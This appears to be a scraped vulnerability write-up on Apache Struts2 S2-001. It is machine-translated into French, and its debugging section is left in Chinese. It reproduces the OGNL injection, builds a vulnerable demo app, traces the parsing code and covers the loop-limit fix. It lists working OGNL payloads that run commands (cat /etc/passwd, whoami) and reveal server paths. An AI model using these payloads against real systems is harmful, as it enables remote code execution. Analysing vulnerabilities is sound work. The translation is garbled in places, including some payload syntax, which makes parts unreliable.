Maison > Article > Opération et maintenance > Exemple d'analyse de la vulnérabilité Struts2 S2-001
La vulnérabilité struts2 S2-001 se produit lorsque l'utilisateur soumet les données du formulaire et que la vérification échoue, le serveur utilise l'expression OGNL pour analyser la valeur du paramètre précédemment soumise par l'utilisateur. , %{ value} et remplissez à nouveau les données du formulaire correspondantes. Par exemple, dans une page d’inscription ou de connexion. Si la soumission échoue, le serveur renvoie généralement par défaut les données précédemment soumises. Étant donné que le serveur utilise %{value} pour effectuer l'analyse des expressions OGNL sur les données soumises, le serveur peut directement envoyer la charge utile pour exécuter la commande.
L'utilisation de vulhub pour reproduire la vulnérabilité peut sauver le processus de construction de l'environnement, ce qui est très pratique.
Adresse du site officiel de vulhub : https://vulhub.org
Démarrez l'environnement de vulnérabilité.
docker-compsoe up -d
Entrez la charge utile du test
%{1+1}
Vous pouvez voir que notre expression d'addition est exécutée avec succès.
Cette fois, nous essayons l'exécution de commandes, new java.lang.String[ {"cat","/etc/passwd"} Modifiez la commande que nous voulons exécuter ici.
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[ {"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
lu avec succès le fichier passwd.
Trois déclarations d'utilisation sont données ci-dessous :
Obtenir le chemin Tomcat |
---|
%{"tomcatBinDir{"+@java.lang.System@getPro perty("utilisateur. dir")+"}"} |
Obtenir le chemin Web |
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%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=# context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close() } |
Exécution de la commande |
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%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream (true).start(),#b=#a.getInputStream(),#c=nouveau java.io.InputStreamReader(#b),#d=nouveau java.io.BufferedReader(#c),#e=nouveau char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String (#e)),#f.getWriter().flush(),#f.getWriter().close()} |
平台:win10
工具:Apache Tomcat 9.0.7,IntelliJ IDEA
下载IntelliJ IDE之后我们选择免费试用一个月,接下来创建我们的项目。
这个是搭建完成后的效果,下边所有创建添加的jar包或者修改的文件都按照这个格式进行。
目录结构如下。
需要如下几个包,下载地址:
http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip
解压完之后,我们把lib目录下对应的jar包导入到我们在项目中创建的lib目录中。
接着发布我们导入的jar包,不然会报错。
接下来就是我们要创建的几个文件,这里代码都给出来了,直接copy就行。(注意:一定要按照前边给出的目录结构放置下边的文件)
web.xml
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"><display-name>S2-001 Example</display-name><filter><filter-name>struts2</filter-name><filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class></filter><filter-mapping><filter-name>struts2</filter-name><url-pattern>/*</url-pattern></filter-mapping><welcome-file-list><welcome-file>index.jsp</welcome-file></welcome-file-list> </web-app>
index.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ taglib prefix="s" uri="/struts-tags" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>S2-001</title> </head> <body> <h3>S2-001 Demo</h3> <p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p> <s:form action="login"> <s:textfield name="username" label="username" /> <s:textfield name="password" label="password" /> <s:submit></s:submit> </s:form> </body> </html>
welcome.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ taglib prefix="s" uri="/struts-tags" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>S2-001</title> </head> <body> <p>Hello <s:property value="username"></s:property></p> </body> </html>
LoginAction.java
package com.demo.action; import com.opensymphony.xwork2.ActionSupport; public class LoginAction extends ActionSupport { private String username = null; private String password = null; public String getUsername() { return this.username; } public String getPassword() { return this.password; } public void setUsername(String username) { this.username = username; } public void setPassword(String password) { this.password = password; } public String execute() throws Exception { if ((this.username.isEmpty()) || (this.password.isEmpty())) { return "error"; } if ((this.username.equalsIgnoreCase("admin")) && (this.password.equals("admin"))) { return "success"; } return "error"; } }
src目录下新建struts.xml
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd"> <struts><package name="S2-001" extends="struts-default"><action name="login" class="com.demo.action.LoginAction"><result name="success">welcome.jsp</result><result name="error">index.jsp</result></action></package> </struts>
漏洞部分代码
xwork-2.0-beta-1.jar/com.opensymphony.xwork2/util/TextParseUtil.java
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) { Object result = expression; while(true) { int start = expression.indexOf(open + "{"); int length = expression.length(); int x = start + 2; int count = 1; while(start != -1 && x < length && count != 0) { char c = expression.charAt(x++); if (c == '{') { ++count; } else if (c == '}') { --count; } } int end = x - 1; if (start == -1 || end == -1 || count != 0) { return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType); } String var = expression.substring(start + 2, end); Object o = stack.findValue(var, asType); if (evaluator != null) { o = evaluator.evaluate(o); } String left = expression.substring(0, start); String right = expression.substring(end + 1); if (o != null) { if (TextUtils.stringSet(left)) { result = left + o; } else { result = o; } if (TextUtils.stringSet(right)) { result = result + right; } expression = left + o + right; } else { result = left + right; expression = left + right; } } }
运行我们搭建好的环境,记得开启debug模式
password处输入我们的测试语句:%{333*666},正确结果是多少来着,待我找个计算机算一下先(手动笑哭表情)
expression会获取不同的参数值,我们直到其获取到password开始分析漏洞原因。
然后这次的判断跳过了中间的return,为啥会跳过return呢?因为这里的password内容任然是一个ognl表达式所以会再次进入循环,接着这里取出%{password}中间的值password赋给var。在解析完%{password}表达式之后要获取其中的内容password进行展示,也就是我们这里的%{333*666}
然后这次的判断同样也会跳过中间的return,为啥会跳过return呢?因为这里的password内容依然是一个ognl表达式所以会再次进入循环,接着这里取出%{333*666}中间的值333*666赋给var。
然后通过Object o = stack.findValue(var, asType)获得到password的值为333*666,然后重新赋值给expression,进行下一次循环。
在这一次循环的时候,就会解析333*666,并将赋值给了o,经过计算后expression的值就变成了221788。
不是OGNL表达式时就会进入
判断了循环的次数,从而在解析到%{333*666}的时候不会继续向下递归,相当于限制了解析ongl的次数。
也就不会对用户提交的参数进行ongl解析
if (loopCount > maxLoopCount) { // translateVariables prevent infinite loop / expression recursive evaluation break; }
这里搬运大佬总结好的东西。
OGNL est l'abréviation de Object-Graph Navigation Language. C'est un langage d'expression puissant (Expression Language, appelé EL). Grâce à sa syntaxe d'expression simple et cohérente, vous pouvez accéder à toutes les propriétés de l'objet et appeler la méthode de l'objet, parcourez le diagramme de structure de l'objet entier et implémentez des fonctions telles que la conversion de type de champ. Il utilise les mêmes expressions pour accéder aux propriétés de l'objet. Trois éléments d'OGNL : (La partie suivante est extraite de quelque part sur Internet, je pense que c'est bien dit)
1. Expression
L'expression est au cœur de l'ensemble de l'OGNL. Toutes les opérations OGNL sont effectuées après l'analyse de l'expression. de. L'expression précisera ce que cette opération OGNL va faire. Nous pouvons voir que dans le test ci-dessus, nom, département.nom, etc. sont toutes des expressions, indiquant que la valeur de nom ou nom dans département est prise. OGNL prend en charge de nombreux types d'expressions, et nous en verrons plus plus tard.
2. Objet racine
L'objet racine peut être compris comme l'objet d'opération d'OGNL. Après que l'expression précise « quoi faire », vous devez également préciser « à qui » cela doit être fait. Dans le code de test ci-dessus, l'utilisateur est l'objet racine. Cela signifie que nous devons obtenir la valeur de l'attribut name pour l'objet utilisateur (et définir la valeur de l'attribut name dans le département pour l'objet utilisateur).
3. Contexte
Avec les expressions et les objets racine, nous pouvons réellement utiliser les fonctions de base d'OGNL. Par exemple, obtenez ou définissez la valeur de l'objet racine en fonction de l'expression. Mais en fait, au sein d’OGNL, toutes les opérations se dérouleront dans un environnement spécifique, qui est le contexte d’OGNL. Pour le dire plus clairement, c'est ce contexte qui précisera « où faire » le fonctionnement de l'OGNL.
Le contexte d'OGN L est une structure Map, appelée OgnlContext. L'objet racine (Root
Object) que nous avons mentionné ci-dessus sera en fait ajouté à l'environnement contextuel, et cela sera traité comme une variable spéciale, en particulier le stockage de l'objet racine (Root
Object). L'expression de l'opération de récupération le fait. il n'est pas nécessaire de les distinguer en ajoutant le symbole #. Liste des opérations de fonction d'expression :
Par exemple : #xxxx, #xxxx. xxxx, #xxxx.xxxx , *, /, ++, --, ==, !=, = et d'autres opérateurs, vous pouvez également utiliser mod, in, not. dans, etc. 4. Conteneurs, tableaux, objets | OGNL prend en charge l'accès séquentiel aux conteneurs tels que les tableaux et ArrayList : par exemple : group.users[0]
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Vous pouvez également créer de nouveaux objets via le constructeur de n'importe quel objet de classe Par exemple : new Java.net.URL("xxxxxx/") 5. Pour méthodes ou variables statiques Pour accéder aux méthodes et champs statiques d'une classe, ils sont exprimés de la même manière que @class@member ou @class@method(args) : 6. L'appel de méthode est effectué directement via un appel de méthode de type Java méthode, vous pouvez même passer des paramètres : Par exemple : user.getName(), group.users.size(), group.containsUser(#requestUser) 7. Projection et sélection OGNL prend en charge la projection et la sélection similaires à celles de la base de données . La projection consiste à sélectionner les mêmes attributs de chaque élément dans ** pour former un nouveau **, ce qui est similaire au fonctionnement sur le terrain d'une base de données relationnelle. La syntaxe de l'opération de projection est collection.{XXX}, où XXX est l'attribut public de chaque élément de ce **. Par exemple : group.userList.{username} obtiendra une liste des noms de tous les utilisateurs d'un certain groupe. La sélection consiste à filtrer les ** éléments qui répondent aux conditions de sélection, similaire à l'opération d'enregistrement d'une base de données relationnelle. La syntaxe de l'opération de sélection est la suivante : collection.{X YYY}, où X est un opérateur de sélection, suivi de l'expression logique de la sélection. Il existe trois opérateurs de sélection : ? Sélectionnez tous les éléments qui remplissent la condition ^ Sélectionnez le premier élément qui remplit la condition $ Sélectionnez le dernier élément qui remplit la condition Par exemple : group.userList.{? = null } obtiendra une liste d'utilisateurs dont le nom n'est pas vide dans un certain groupe. |
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!